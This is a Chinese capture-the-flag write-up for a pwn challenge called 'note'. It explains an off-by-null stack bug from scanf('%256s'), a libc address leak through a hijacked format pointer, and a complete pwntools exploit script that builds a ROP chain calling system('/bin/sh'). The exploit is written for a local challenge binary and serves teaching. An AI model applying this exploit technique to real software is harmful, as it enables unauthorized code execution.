note
很神奇的一道offbynull栈题目
当时没做出来,后来赛后搞懂了忘记写wp,最近才拿出来复习下
漏洞点:
char *edit()
{
char s; // [rsp+0h][rbp-100h]
_isoc99_scanf((__int64)"%256s", (__int64)&s);
return strdup(&s);
}
scanf会多读一个\x00字节,这样就可以局部写RBP指针
写完之后的rbp:
$rsp : 0x7fffffffd688 → 0x000000000040102c → add BYTE PTR [rax], al
$rbp : 0x7fffffffdd68 → 0x00007fffffffde00 → "xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabea[...]"
找一下偏移
gef➤ pattern search xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabea
[+] Searching 'xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabea'
[+] Found at offset 184 (big-endian search)
gef➤
之后我们要控制的栈变量是v6,存储的是一个%d,我们可以把它改成%256s
const char *v3; // rax
__int64 *v4; // [rsp-8h][rbp-28h]
int v5; // [rsp+Ch][rbp-14h]
const char *v6; // [rsp+10h][rbp-10h]
char *v7; // [rsp+18h][rbp-8h]
__int64 savedregs; // [rsp+20h][rbp+0h]
也就是在184 - 16 = 168偏移处我们写入%256s的地址
由于这个函数所有的重要参数都保存在栈上,这样下一次调用show的时候我们就可以将v7改写成我们想要泄露的地址
case 2:
a2 = (char **)v7; // show
printf("Note:%s\n", v7);
break;
payload就形如这样
payload = p32(2) + p64(fmt) + p64(puts_got)
而后就是再一次利用栈溢出漏洞构造rop
exp:
from pwn import *
context.log_level = 'debug'
io = process('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('note')
def p():
gdb.attach(io)
raw_input()
def choice(c):
io.recvuntil('>')
io.sendline(str(c))
def show():
choice(2)
def edit(content):
choice(1)
io.recvuntil(':')
io.sendline(content)
def save():
choice(3)
def change_id(id):
choice(4)
io.recvuntil(':')
io.sendline(id)
def main():
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
fmt = 0x401129
pop_rdi_ret = 0x401003
```
io.recvuntil(':')
io.sendline('secunda')
payload = 'A'*168 + p64(fmt)
payload += 'A'*(256 - len(payload))
edit(payload)
gdb.attach(io)
io.recvuntil('>')
payload = p32(2) + p64(fmt) + p64(puts_got)
io.sendline(payload)
io.recvuntil('Note:')
leak = u64(io.recvline(keepends = False).ljust(8,'\x00'))
log.success(hex(leak))
libc_base = leak - libc.symbols['puts']
sys = libc_base + libc.symbols['system']
bin_sh = next(libc.search('/bin/sh'))
bin_sh += libc_base
payload = 'A'*100 + p64(pop_rdi_ret)+p64(bin_sh) + p64(sys)
#payload = cyclic(20)
io.recvuntil('> ')
io.sendline(payload)
io.interactive()
```
if __name__ == '__main__':
main()
PREVIOUSN1CTF的两道简单的pwn题
NEXTBCTF bugstore